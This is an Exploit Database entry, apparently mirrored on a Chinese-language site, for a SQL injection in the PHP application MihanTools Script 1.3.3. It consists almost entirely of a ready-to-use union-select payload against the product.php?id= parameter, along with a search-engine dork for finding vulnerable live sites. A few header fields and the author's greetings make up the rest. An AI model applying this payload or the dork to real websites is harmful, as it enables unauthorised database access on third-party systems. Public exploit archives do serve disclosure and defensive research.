MihanTools Script 1.3.3 – SQL Injection

• Exploit Database
• 10 阅读

• 作者： WHITE_DEVIL
  日期： 2011-02-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/16143/

• # Exploit Title: MihanTools Script SQL Injection Vunerability
  # Platform: php
  # Date: 09.02.2011
  # Author: WHITE_DEVIL
  # Software Link: http://www.mihantools.ir/ 
  # Version: all version
  # Tested on: Windows Sp2
  # Mail: Mr.web70@yahoo.com
  # Dork: inurl:product.php?id= *Powered by MihanTools* 
  # Exploit:
  
  http://localhost/product.php?id=-1+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--
  
  
  # Greetings:
  IRAQ_JAGUAR, Joker_Sql, Karar_Alshami, Karar_Aljbory